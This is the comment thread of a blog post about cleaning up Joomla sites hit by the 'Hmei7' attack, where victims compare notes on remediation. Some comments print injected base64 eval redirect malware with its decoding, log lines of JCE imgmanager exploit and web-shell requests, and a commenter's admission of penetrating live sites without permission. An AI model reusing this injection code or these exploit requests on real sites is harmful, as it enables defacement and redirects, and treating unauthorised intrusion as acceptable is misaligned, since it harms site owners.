    <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly90aW55dXJsLmNvbS9jZXY5ZWRhIik7DQoJCWV4aXQoKTsNCgl9DQp9DQp9"));
    and when decoding:
    if (!$nccv){
    if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"") or stristr($referer,"") or stristr($referer,"") or stristr($referer,"") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"") or stristr($referer,"") or stristr($referer,"")) {
    if (!stristr($referer,"cache") or !stristr($referer,"inurl")){

    and this file: hacked by Hmei7
    How to resolve
    Thanks for answer

  19. Jim

    If you have been hacked a great tool is filist.php In this linked post on it has the attachment but you need to create an account to see and download it.

    It list all the files on your site by date. Also check for back doors. I downloaded the full site and my local antivirus and found more 4 of them (There dates were not new so the filist.php did not find them.)


  20. sam

    I had this problem, and was able to fix it after about a week of searching for everything. I thoroughly searched all of my files in the web root. I found a script to add to your web root that tells you all of your infected files ( It’s fairly simple, copy the script into notepad and save as find_string.php file and just upload to your sites root, then in the address bar type in “” and it will pull up all infected files.
    Here are the ones that I found on my site, just for others to also look, also please take note that after you run the find_string, remove it from your roots as it can cause damage if left there. And you will probably have to run it again after cleaning it up the first time (if you have a large site, it won’t pick up everything the first go around).
    freesans.php (I had a TON of fake files that were hidden as fonts but were really virus’s he left behind)

    Most of the files hacked had name changes or were added, however in my web root I could see all the dates of when my files were modified or when files were added so it was not very hard to find the infected files. 2 of my websites were hacked and I had no recent backups of either. All of my files were basically injected with the base64 decode and both my configuration and index.php files were hacked (with no back ups). IF you are put into the same position as I was, and you have no back ups, thoroughly clean out all of your files, change passwords, boost security and salvage what you can.

  21. milo

    I am have delete file susu.php and etc, but why im cannot open global configuration ?
    Not Found

    The requested URL /administrator/index.php was not found on this server

    Additionally, a 404 Not Foun derror was encountered while trying to use an Error Document to handle the request

    can help me ?

    Thanks Again

    1. Josh Post author

      The file /administrator/index.php was most likely deleted, and needs to be restored. Your favorite FTP program can be used to check if this file was deleted.

      1. milo

        Yes, i have delete and upload new file index.php but same, i am click icon global configuration eror again

          1. Josh Post author

            There must be a file (or files) causing this somewhere. It’s just a matter of finding the file(s). Try looking for newly created/modified files, and looking for files with the names listed in the article.

  22. vnone

    Today my site is in this situation. Love you all. Ths
    My case, he added:
    1. x.txt: is out my www (public_html) folder
    2: x.txt, susu.php in public_html folder
    3. Many file were changed: LICENSE.php,COPYRIGHT.php,LICENSES.php,configuration_install.php,CREDITS.php,index.php,index2.php
    ….will update more file after I check and restore it.

    But could you told me how he hack? Any bro know? Thank you so much.

    1. Josh Post author

      It could be the old JCE plugin exploit that I describe in the article. If it is this exploit, be sure to remove the old JCE plugin if you have it, or upgrade to the latest version. It’s hard to say exactly what exploit was used without more information.

    2. vnone

      Thanks for all you post and comment here. You are my hero all.

      From my error – log, update the latest way from this guy.
      [12-Jan-2013 00:19:03] PHP Warning: unlink(x.php) [function.unlink]: No such file or directory in /home/vntoanho/public_html/images/stories/x1x.php on line 6
      [12-Jan-2013 00:32:09] PHP Warning: unlink(m.txt) [function.unlink]: No such file or directory in /home/vntoanho/public_html/images/stories/x1x.php on line 5
      [12-Jan-2013 00:32:09] PHP Warning: unlink(x.php) [function.unlink]: No such file or directory in /home/vntoanho/public_html/images/stories/x1x.php on line 6
      [12-Jan-2013 00:56:10] PHP Warning: unlink(m.txt) [function.unlink]: No such file or directory in /home/vntoanho/public_html/images/stories/x1x.php on line 5
      [12-Jan-2013 00:56:10] PHP Warning: unlink(x.php) [function.unlink]: No such file or directory in /home/vntoanho/public_html/images/stories/x1x.php on line 6
      [12-Jan-2013 14:28:07] PHP Warning: unlink(../m.txt) [function.unlink]: No such file or directory in /home/vntoanho/public_html/images/stories/x1x.php on line 2
      [17-Feb-2013 02:23:56] PHP Warning: system() has been disabled for security reasons in /home/vntoanho/public_html/images/stories/dkml.php on line 2
      [17-Feb-2013 02:23:56] PHP Warning: system() has been disabled for security reasons in /home/vntoanho/public_html/images/stories/dkml.php on line 2
      [17-Feb-2013 04:15:03] PHP Warning: system() has been disabled for security reasons in /home/vntoanho/public_html/images/stories/dkml.php on line 2
      [17-Feb-2013 04:15:03] PHP Warning: system() has been disabled for security reasons in /home/vntoanho/public_html/images/stories/dkml.php on line 2
      [22-Feb-2013 23:21:16] PHP Warning: fopen(../smilies/bmp.php) [function.fopen]: failed to open stream: Permission denied in /home/vntoanho/public_html/images/stories/gif.php(2) : eval()’d code on line 4
      [22-Feb-2013 23:21:16] PHP Warning: fwrite(): supplied argument is not a valid stream resource in /home/vntoanho/public_html/images/stories/gif.php(2) : eval()’d code on line 5
      [22-Feb-2013 23:21:16] PHP Warning: fclose(): supplied argument is not a valid stream resource in /home/vntoanho/public_html/images/stories/gif.php(2) : eval()’d code on line 6
      [22-Feb-2013 23:21:16] PHP Warning: fopen(../banners/movie.php) [function.fopen]: failed to open stream: Permission denied in /home/vntoanho/public_html/images/stories/gif.php(2) : eval()’d code on line 13
      [22-Feb-2013 23:21:16] PHP Warning: fwrite(): supplied argument is not a valid stream resource in /home/vntoanho/public_html/images/stories/gif.php(2) : eval()’d code on line 14
      [22-Feb-2013 23:21:16] PHP Warning: fclose(): supplied argument is not a valid stream resource in /home/vntoanho/public_html/images/stories/gif.php(2) : eval()’d code on line 15
      [22-Feb-2013 23:21:16] PHP Warning: fopen(../../plugins/search/movie.php) [function.fopen]: failed to open stream: Permission denied in /home/vntoanho/public_html/images/stories/gif.php(2) : eval()’d code on line 22
      [22-Feb-2013 23:21:16] PHP Warning: fwrite(): supplied argument is not a valid stream resource in /home/vntoanho/public_html/images/stories/gif.php(2) : eval()’d code on line 23
      [22-Feb-2013 23:21:16] PHP Warning: fclose(): supplied argument is not a valid stream resource in /home/vntoanho/public_html/images/stories/gif.php(2) : eval()’d code on line 24
      [22-Feb-2013 23:21:16] PHP Warning: fopen(../../components/com_media/movie.php) [function.fopen]: failed to open stream: Permission denied in /home/vntoanho/public_html/images/stories/gif.php(2) : eval()’d code on line 31
      [22-Feb-2013 23:21:16] PHP Warning: fwrite(): supplied argument is not a valid stream resource in /home/vntoanho/public_html/images/stories/gif.php(2) : eval()’d code on line 32
      [22-Feb-2013 23:21:16] PHP Warning: fclose(): supplied argument is not a valid stream resource in /home/vntoanho/public_html/images/stories/gif.php(2) : eval()’d code on line 33
      [22-Feb-2013 23:21:16] PHP Warning: fopen(../../modules/mod_wrapper/mod.php) [function.fopen]: failed to open stream: Permission denied in /home/vntoanho/public_html/images/stories/gif.php(2) : eval()’d code on line 40
      [22-Feb-2013 23:21:16] PHP Warning: fwrite(): supplied argument is not a valid stream resource in /home/vntoanho/public_html/images/stories/gif.php(2) : eval()’d code on line 41
      [22-Feb-2013 23:21:16] PHP Warning: fclose(): supplied argument is not a valid stream resource in /home/vntoanho/public_html/images/stories/gif.php(2) : eval()’d code on line 42

  23. language

    My site not hacked, but with my great chance I see the x.txt file in my host directory, so i navigate my site to detecting the files as mentioned above fortunately there are no any files was seen.
    So, what I must to do now.

    1. Josh Post author

      Can you tell me your web site URL so I can see what is shown on your site. Have you checked your index.php, configuration.php, and .htaccess files?

  24. Rainer

    many thanks to you. My homepage was also forwarded to I’m a little bit astonished about the x.txt file. As far as i recognized it, i found this page and the solution take only one hour.

    Greetings from Rottenburg, near Stuttgart,


    Hi, this site was hacked two times, I have restored the index.php and I have no backup of the site now it shows “Warning: date() []: It is not safe to rely on the system’s timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected ‘America/New_York’ for ‘EST/-5.0/no DST’ instead in /home/concrepl/public_html/libraries/joomla/utilities/date.php on line 198” in many parts of the home but showing the error in different lines of the date.php file. and all the links are not working, can you give me a hand please?

    1. Josh Post author


      It looks like you got the PHP error message fixed.

      Your links aren’t working because all of your links (including CSS links) have “/index.php” added to the beginning. The CSS links look fine on the home page but not on the sub-pages, which is why the home page looks fine but the other pages don’t. Looking at a sub-page’s source shows this.

      I did a quick search to see if anyone else has had this problem and didn’t find anything. I would first check the .htaccess file for “/index.php.” If there is an extra “/index.php” in the .htaccess file, it could cause this.

  26. Herman1958

    My website got hacked at january 14. The text shown was
    Hackaedo por HighTech Brazil HackTeam

    Can I use the same method described above to restore my websiet
    Unfortunately I have not back-up.
    Wil make it in future for sure

    1. Josh Post author

      If you follow the instructions in the article it can help fix your site. I would not delete the files the article says should be deleted without checking them first. They may not need to be deleted in your case. If you check the files that I list in the article, and also look for files that were recently changed (I detail how to do this in the article), it should help find the problem.

      I did a quick search and he might have also used the JCE exploit, so if you have an old version of the JCE plugin, make sure to remove the old version or update to the latest.

      A few files to check first:


      Also check:


      Check for any .txt files.

      That should be a good start. I can help further if needed.

  27. Herbert

    Thanks for this description! Our site has been hacked this way and we’ve been up and running within a day again. Great!

  28. adeam

    my site was hacked also by hmei7. But there’s little difference my site keeps redirectirecting to linkbuck affliate page after +-20seconds after load. I removed all of hacker files and restored DB to state b4 the attack, but nothing helps. Could you please help me ?


    1. Josh Post author


      I visited your site and can see what you are talking about, that it is redirecting to a ad. But there is an intermediary page between your site and LinkBucks. The site before LinkBucks is This site forward to another site, which forwards to the LinkBucks site. Then it is forwarded to MediaFire to download a file. The file is no longer available on MediaFire though. This might help find the redirect. I’ll check to see if I can find what is causing the redirect on your site and e-mail you when I find it.

    2. Josh Post author

      I looked through your web site and couldn’t find the redirect, but I may still be able to help. I noticed that the redirect works on all pages of your site, not just the home page. So the redirect is global, either in the head of your site, somewhere in PHP, or in a .htaccess file. I might have just missed it from the limited access I have to your site, or it could be somewhere I can’t access. This site may be able to help you find the redirect:

      1. adeam

        Thanks very much, this was in index.php file.


        Nice blog, adeam

        1. Josh Post author

          Glad you found what was causing the redirect.

          I decoded what you posted to see how he was redirecting the page.

          The decoded base64:

          $x0b=”\x68e\141de\162″; $x0b(“R\145\x66\x72\x65\x73\x68\072 \x32\x35; url=\”ht\x74p\x3a\057\x2falg\145\x72\151\x65\055\x73\145r\166ic\145\056\x63\157\x6d\057ads\””);

          The decoded hex (eval):

          $x0b=”header”; $x0b(“Refresh: 25; url=\”\””);

          He used the PHP header function to redirect the page after 25 seconds.

  29. DiBu

    Hi Josh! Thank you for this blog. He helped me a lot to resolve this attack on my side. Besides the already known files, there are a number of others that contain a trojan. The files always have the same size: byte 2.290 Changed for me were the files: gacl.class.php, gacl_api.class.php, defines.php. Excuse my bad english Google.
    Keep it up
    Sincerely yours

  30. Luke


    Your statements or suggestions about ip addresses and from where they are coming from are wrong..

    “Both IP addresses from the first access start with 114.79, and after some research found that they were both from the ISP Smartfren. Smartfren is an Indonesian wireless telecommunications company that provides cell phone and wireless internet services. I was surprised to find that both IP addresses were so similar”

    About this i would say, it is a public wifi hotspot..

    “both IP addresses from the second access start with 95. This is a wider IP range, but both of the 95. IP addresses are from the ISP Turk Telecom. This raises the question of what the link is between Indonesia and Turkey, if there is a link at all. It is doubtful that he physically travels to Turkey, since he is from Indonesia and most likely lives there. This also raises the questions why and how he uses an IP address in Turkey. He could be using a proxy based in Turkey, or he could have friends, family, or contacts in Turkey. If he is has contacts in Turkey, those contacts could have a proxy set up for him, or they could be helping him with his attacks”

    About this.. it’s a just a quite old free/paid proxy in turkey.. used by everyone.. mainly hackers or skiddiots.. it is not even a very good proxy.. i mean, not secure like others.. the fact is it’s the last of a chan.. so you wont find him straight behind the proxy, but just another proxy.. and the chan could be quite long.


    1. Luke


      As you say, there’s no reason to block those ip addresses, if i am you, i would take an updated list of blacklisted proxy addresses, plus a non blacklisted proxy list, and put them all into your headers.. that could limit of course the hackers..
      I can tell you exactly what’s happened in your case:
      The hacker decided to have some fun and to have a joomla hacking session..
      he starts dorking for joomla websites, in the list returned by the dorking action he starts hacking them all, included yours
      Now, if i’m a hacker when i get into one where cant access because of ip blocked, probably i dont loose time with it and just go on with the next one.
      Probably 90 % of people browsing websites like the one that has been hacked, don’t need and don’t use a proxy, so your client (the owner of the website) wont be affected if you decide to block for example 200 proxies.

      Hope it helps.

  31. Markus

    I was attacked by SEJEAL five days ago and the infection is very similar to what I read here about HMEI7. On my way to restore my Joomla websites i updated my [configuration.php] to include the new MySQL Database password. It seemd that everything was fine again, but some services didn’t work properly anymore, e.g. jcomments captcha, aicontactsafe captcha failed. It took me hours to understand, that

    >> the new [configuration.php] has to be saved in ANSI format and not in UTF-8

    Maybe I’m the only one who didn’t knew this, but I thought it could be helpful for the one or the other.

    By the way: This blog is abolute amazing and the post are very very helpful !!!!!! Sorry for my bad english, I’m german and posting from near colone.

    Cheerio – Markus

  32. Jose

    It’s great that you manage to recover your sites. For me its being a pain in the ass.
    I manage to find most of the hacker files but I steel can’t find the one that changes the configuration.php, I ran the OSE antivirus and the action of this program changes the date of the last modifications for the files. Can someone please publish more possible names for the hacker files or any other solutions you may have. I’m not an expert and I’m running out of options.
    Thanks and congratulations on the post.

  33. Pingback: Joomla-Installationen erneut im Fokus von Angreifern | Power-Netz bloggt!

  34. Pingback: Deutsche Anleitung hmei7 – Entfernung / Removal

  35. Pingback: - Tisign

  36. Aldo Poma

    Thank you very much for the detailed explanation and solutions about Hmei7 hack. My site was attcked some days agoo; I’ve found some files x.txt (with content “hacked by Hmei7”) and then the very dangerous file “x.php” in path htdocs/images/stories/.
    I’ve followed your instructions and I hope now the site is healthy.

    My best,

  37. Daryl

    Thanks for the complete and concise information, I too was attacked and your information helped very much in cleaning up the damage. Why people do this is beyond me….

    1. diaconu daniel

      easy. because they can and they find it amusing to be smarter than other people. two sites i made were hacked… the first one was defaced… and i had to restore all from backup but the second one had just some hacker files in tmp directory of my joomla installation and a “pretty” photo in my htdocs directory. of course i searched for more hidden treasures… but i appreciate the decency of the hacker (to not completely deface the site and my work). i consider this a lesson to be learned… and hopefully to never repeat again. it was my fault partially… because i was lagging in security and it was childish to assume that a simple password will prevent attacks from more sophisticated hackers.

  38. Joel

    Here’s a few log entries on my end showing him trying to access the susu.php file on a clients web server: - - [05/Jan/2013:04:26:34 -0700] "GET /images/stories/susu.php? HTTP/1.1" 403 1101 - - [07/Jan/2013:01:23:23 -0700] "GET /images/stories/susu.php4? HTTP/1.1" 200 135 - - [07/Jan/2013:01:23:28 -0700] "GET /images/stories/susu.php4? HTTP/1.1" 200 32 - [07/Jan/2013:01:23:32 -0700] "GET /images/stories/susu.php4? HTTP/1.1" 200 274 +1 - - [07/Jan/2013:01:23:44 -0700] "POST /images/stories/susu.php4? HTTP/1.1" 200 307 - - [10/Jan/2013:04:42:39 -0700] "GET /images/stories/susu.php? HTTP/1.1" 403 1100 - - [11/Jan/2013:11:43:51 -0700] "GET /images/stories/susu.php? HTTP/1.1" 403 1101 - - [13/Jan/2013:12:33:16 -0700] "GET /images/stories/susu.php? HTTP/1.1" 403 1101 - - [19/Jan/2013:20:29:51 -0700] "GET /images/stories/susu.php? HTTP/1.1" 403 1097 - - [22/Jan/2013:04:26:51 -0700] "GET /susu.php HTTP/1.1" 404 1113

    Odd thing for me was that it never showed the hacked by… on the page, it just started showing a blank page this afternoon, and as we started digging into it found that our system had been compromised.

  39. Mike Riley

    This hmei7 guys has been pretty much everywhere. Just Google the name and you’ll see he’s apparently Indonesian and recently it is claimed the he has hacked a large data centre resulting in the defacement of over 5000 sites.

    The Amateur Radio Club site I help maintain has been done over by this guy and upon deep investigation I found index.old files in pretty much every directory, I also found randomly named PHP files containing large strings and missing closing tags which I presume was some kind of injection / shell exploit attempts and also his calling card file x.txt.

    My friend who hosts the site for our club also had 3 other domains under his hosting which were also defaced / penetrated / violated.

    The first time it happened it “appeared” as if the club site had been attacked by a group called wild clique and we didn’t really understand the nature of the attack so we fixed it up as best we could but
    the site has since been attacked several times by various hacker groups and individuals.

    Today, I’ve been with my friend and we’ve completely ripped out the club’s site and upon going through the files we’ve found no end of files that shouldn’t be present as I described at the start of this reply.

    The site was so badly affected we couldn’t risk using any of it as such and so had to go through quite a complicated procedure of installing a clean but newer version of web software and slowly and systematically “merging” the content after sanitizing what we could.

    I’m actually about half way through restoring the old data on the newer platform and now the penny has begun to drop on what’s happened.

    My friend’s other sites under his hosting comprise of two joomla 2.5 sites, a custom HTML site and our club site formerly running Joomla 1.5.

    I think this guy initially penetrated the club site with a shell script or some other injection / RFI and then went on to take over the rest of the domains under my friends account from there. Or at least Mr hmei7 opened the door for others to do it. We certainly found the same files on the other domains too and the only thing they all share in common is they are all under the one user hosting account.

    Without waffling on needlessly, the point I am trying to make is, if this guy’s been at your site, I wouldn’t trust a SINGLE file or directory and I’d be looking at all my other sites closely too.

    Just because your sites aren’t defaced or whatever doesn’t mean there isn’t something nasty sitting and waiting!

    I suggest everyone wanting to secure their sites familiarise themselves with the following hacking techniques so as to understand how these attacks work and how to counter them in the future.

    RFI (Remote File Inclusion)
    LFI (Local File Inclusion)
    SQL Injection
    XSS (Cross Site Scripting)

    It is also important to keep every aspect of your site’s up to date; from core to plugins! You should also make sure you follow all steps listed by the creators of any scripts or software you are using to keep them secured.

    I’m only aware of this after the fact of course, but if this info can help others and prevent them from falling foul to this hmei7 and others then it was worth posting.

    I should add that since we have been attacked, I have spent countless hours researching, reading about and trying out the attacks listed above and more besides and I am now better prepared to protect my sites now I know how some of these attacks work and have seen them in action with my own eyes.

    I will admit that during my research I have actually been on Google and have dorked a few vulnerable sites and I’ve penetrated them using various freely available penetration techniques BUT I am not a malicious person and I have not and will not use any of the data I managed to exploit. I did it purely for educational purposes to see how it was done and if it could still be done on a live site and in most cases, there are PLENTY of sites vulnerable to these attacks still out there.

    In my case, I have of course notified the sites I have penetrated and hopefully they will act on my information.

    So take my advice folks – keep up to date with your software, keep up to date with your knowledge and if you suspect you’ve been hacked, don’t trust a single file – Check every file and folder under your account!

    Peace and stay safe!

    1. Chris

      Thank you for you informative post. Our website was compromised in Dec. 29 and then totally went down Jan. 24. The instructions at this site are being put to use now – many man hours and frustrations involved.

      We discovered a photo inserted by the hacker. Have you seen it? It is alarming.
      Again, thank you.

  40. HulyoVhente

    * copyright.php, index.php were totally infected using php EVAL() & BASE64_decode()… (deleted)(restored)
    * injected several .php files, x.txt and mua.gif (deleted) mostly in /images/stories directory

    * I’m still lucky that to fixed it within several minutes using the 3 month-old backup, and scanned the whole site using ClamAV virus scanner of Cpanel to identify some infected files.
    * Change some folders and files CHMOD. Installed jHackGuard, but, I can’t upgrade my JCE 1.5.7 to new the version due to some known issues after upgrading..
    * Blocked IP range.

    For further reference, new IP address used by Hmei7:
    WHOIS: AfriNIC
    ————————————————————————————————————————————————– – – [21/Jan/2013:18:32:04 +0300] “GET /images/stories/a.php HTTP/1.0” 200 5899 “-” “Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0” – – [21/Jan/2013:18:32:05 +0300] “GET /favicon.ico HTTP/1.0” 200 1150 “-” “Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0” – – [21/Jan/2013:18:32:07 +0300] “POST /images/stories/a.php HTTP/1.0” 200 6220 “” “Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0” – – [21/Jan/2013:18:32:40 +0300] “POST /images/stories/a.php HTTP/1.0” 200 4464 “” “Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0”

    Thank you very to your post! Very reliable and useful…

  41. Radu

    the same hacker hacked into 4 of my sites but only one got hit badly.. sadly there were hundreds of files named index.old.php which I cleaned and followed the steps.. but the site did not start to run again. I decided then to upload an older backup (only files) and tried to keep the latest database. The site is loading but now I cannot get access to the backend anymore. I tried to change the user/password in phpmyadmin but this didn’t get me anywhere. I tried to nuke all the users and create a new one like here: but without success
    Did anyone else experience this?

  42. steve

    hi all,

    my website was also hacked by hmei7. I made a backup, checked the logs files. I had little time on that day. 3 days after his attack, I checked again. What strange is that my apache logs just above the day of any information contained slump. ok. I set up my system new and the hardened apache (mod_security and chroot) and some more firewall rules. I was lazy to administer in the past – now I’m wide awake again.

    thx for this great content – it help me to save time

  43. Dianne

    OMG!!!! thank you, thank you, thank you so very much for such a helpful post…
    This little bugger hacked one of my sites and one of my client’s sites, thanks to your very useful information, I have been able to restore them both and have changed the appropriate settings so hopefully this doesn’t happen again.
    I really appreciate your help and hope you have a wonderful day.
    Thanks again…
    Di.. 🙂

  44. Pingback: Alerta de vulnerabilidade do Joomla | Blog CentralServer

  45. Nicole

    Thank you so much for this amazingly comprehensive post. Such a shame that so many sites have been brought down and so many stories from charities and not-for-profits struggling to put their sites back online. A really low act.

    Anyway your article was amazing. Thank you!

  46. Pingback: 88661613793

  47. CocoBloco

    LIFE SAVER!!!!! thanks for you time, analysis and generally the whole post!! it helped me a lots.

    btw my case was even badly..

    there was many php files created at images/stories dir


    and folders like
    (hundreds of *.txt files in it.)

    anyway grate job m8.


    they try to reach their files and from another ip address

    [Tue Jan 15 17:11:09 2013] [error] [client] File does not exist: /home/username/public_html/404.shtml
    [Tue Jan 15 17:11:09 2013] [error] [client] File does not exist: /home/username/public_html/x.txt = Germany ip…

    1. Josh Post author


      You’re very welcome. I’m glad the article was helpful to you. Thank you for your comment and sharing this information. Interesting that your log showed a German IP.

  48. ugnelakys

    So again

    programva_log.1: – – [14/Jan/2013:20:33:01 +0200] “POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.0” 200 50 “-” “BOT/0.1 (indonesian defacer)”
    programva_log.1: – – [14/Jan/2013:20:33:04 +0200] “POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.0” 200 36 “-” “Hmei7 (indonesian citizen)”
    programva_log.1: – – [14/Jan/2013:23:46:59 +0200] “GET /images/stories/x.php?indonesia HTTP/1.1” 200 3077 “-” “Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/14.0.1”

    I am server administrator so i have changed permissions with linux chown command to different user,
    as well for many folders too.
    chmod command is not best solution, because php script can change rwx permissions.

    in htaccess i wrote:

    RewriteCond %{QUERY_STRING} (^indonesia$)
    RewriteRule (x.php) [L,R=301]

    in virtual host i wrote:

    SetEnvIfNoCase user-agent “indonesia” HTTP_SAFE_BADBOT
    Deny from env=HTTP_SAFE_BADBOT

    But main thing is to change LINUX PERMISSIONS!!!

    1. Josh Post author

      Thank you for your comments. Yes, the owner/group should be changed from the default root:root. In most cases this should not be a problem if using FTP to upload files. By default the files will obtain the user/group permissions of the FTP user. And the FTP user/group should have their permissions set appropriately. Or do you mean the permissions should be changed to another user/group besides the FTP user/group? You say chmod is not the best solution, but chmod should be used in addition to chown for additional security.

      Thank you for sharing the changes you made to your htaccess and virtualhost. Would you mind if I update the article with this information? I will include your name as the contributor.

  49. Peter

    Thank you for this post!

    Had two of my sites hacked yesterday – he dropped a zzzzx.php file (can’t read more than the last line) on one and a index.old.php in every goddammned folder on the other….
    The inde.old.php contains this:

    (Been deleting files for an hour now and needed a break 😉

    The first site had a few x.txt with his “hacked by Hmei7” and a m.txt with “by misafir”

    1. Josh Post author

      I'm glad this article was helpful to you Peter. That's crazy that he spent an hour just deleting files!

      Thank you for posting this comment! You might have found the link between Hmei7 and Turkey. I searched for misafir and from what I could find it is a hacker group in Turkey.

  50. Pingback: Homepage

  51. Brian

    I found this in my logs. I hope it helps somebody.

    access_log.processed: – – [07/Jan/2013:16:29:14 -0500] “GET /x.txt HTTP/1.0” 200 276 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)”
    error_log:[Mon Jan 07 16:29:14 2013] [warn] [client] mod_fcgid: stderr: PHP Notice: Undefined index: HTTPS in /var/www/vhosts/ on line 63
    error_log:[Mon Jan 07 16:29:14 2013] [warn] [client] mod_fcgid: stderr: PHP Warning: fopen(configuration.php): failed to open stream: Permission denied in /var/www/vhosts/ on line 99
    error_log:[Mon Jan 07 16:29:14 2013] [warn] [client] mod_fcgid: stderr: PHP Warning: fwrite() expects parameter 1 to be resource, boolean given in /var/www/vhosts/ on line 100
    error_log:[Mon Jan 07 16:29:14 2013] [warn] [client] mod_fcgid: stderr: PHP Warning: fclose() expects parameter 1 to be resource, boolean given in /var/www/vhosts/ on line 101
    error_log:[Mon Jan 07 16:29:14 2013] [warn] [client] mod_fcgid: stderr: PHP Notice: Undefined index: HTTPS in /var/www/vhosts/ on line 63

    1. Josh Post author

      Thank you for posting this Brian. I didn’t think to look in the error logs. I’ll take a look at my error logs and update the article with this information.

  52. Brian

    I found css.php and 0day.php in my /images/stories/ directory.

    css.php has a bunch of base64 encrypted strings in some PHP.

    Im going to look deeper into how it happened.

    1. Josh Post author

      Thank you for sharing this. Others have seen these files as well. I’m going to update the article to include a list of files to look out for.

  53. jumbo

    Thanks a lot.. I had the same issue .. index.php, index.html, index.htm, susu.php, and x.txt files were affected. Configuration file remained intact…
    Thanks again.

  54. Pingback: How to fix “hacked by Hmei7″ on Joomla web site | Blog.Cripperz.SG - Wordpress

  55. Alex

    Thanks for the info, but…
    I’ve deleted the files and uploaded a new configuration.php
    There was no backup, so I deleted also index.php
    When I upload a index.php file there is a white screen. Without index.php there is no site. Is the problem the index.php file?

    1. Josh Post author


      Sorry you’re having issues from your attack. I will try to help.

      The correct index.php file will need to be uploaded. It should be from the installation files of the Joomla version you are using. If you’re not sure where to get the correct file, I can help you find it. What Joomla version are you using?

      You will also need to configure your database settings in the configuration.php files for your web site to start working again.

      1. Alex

        thanx for the help.
        I think it was 1.5.20 I’ve searched for it, found it, uploaded the index.php, but still an white screen.
        Normally i’ve changed the configuration.php with the right database-settings.

        1. Josh Post author

          The only other specific file I can think of to check is the .htaccess file in the root folder of your web site. Others have mentioned this file being gutted and damage to this file could cause your problem.
          If that does not fix it, there must be a file or files that have changed. It might be necessary to search through the web site files for any files that have been changed.
          Maybe also check your database to verify it is still in tact. I wouldn’t think there is anything wrong with it, as it would be uncharacteristic of Hmei7, but checking wouldn’t hurt.

        2. Josh Post author

          There could be an important file that was deleted also. Might need to check for any delete files.
          To see why your site is not working, you could turn PHP error reporting on. This will show any errors that are causing your site to be down and could be very useful.
          To turn error reporting on look for “display_errors” in your php.ini file and change it to “on”. You might also need to change “error_reporting” to “E_ALL”. If you do this, don’t forget to make a backup of your php.ini file before making changes. Once these changes are made, visit your site to see what errors are shown.

  56. RED

    One other important component to this hack you need to be aware of is the WebShell used. I found it here: libraries\joomla\error\lib.php – delete it!

  57. Wayne

    Just to make an addition to this post… we had a Joomla 1.5.9 site hacked by Hmei7 and had to remove the following files as well:


    Thanks for this post!

    1. Josh Post author

      Thank you for letting us know. It would be good to know where his attacks come from to find any patterns.

  58. Sina

    Many thanks for your post. I have not backed up index.php unfortunately. Is there a sample for too that I can use?

  59. will keyworth

    seems like all the php files got hacked. how did they get in? via the joomla admin page, or ftp? i updated all the sites i have that use jce to v 2.0.15

    1. Josh Post author

      He used an exploit in the imgmanager plugin that is included in an old version of JCE. He accessed the plugin’s files directly to take advantage of the exploit.

    2. Josh Post author

      Will, I re-read your comment. I’m not sure which versions of JCE have the exploit being used, but 2.0.15 could be included. I do know that the latest 2.3.1 version does not include the exploit.

  60. Pingback: Como solucionar el “hacked by Hmei7″ en tu web Joomla « Diez mil leguas

  61. Katie Lu

    My site was just hacked. I think I found his identity doing a Google search, but definitely not 100% on it:

    Also, after fixing your Joomla! site, will it come back the exact same way prior to the hack? Thanks so much…

    1. Josh Post author


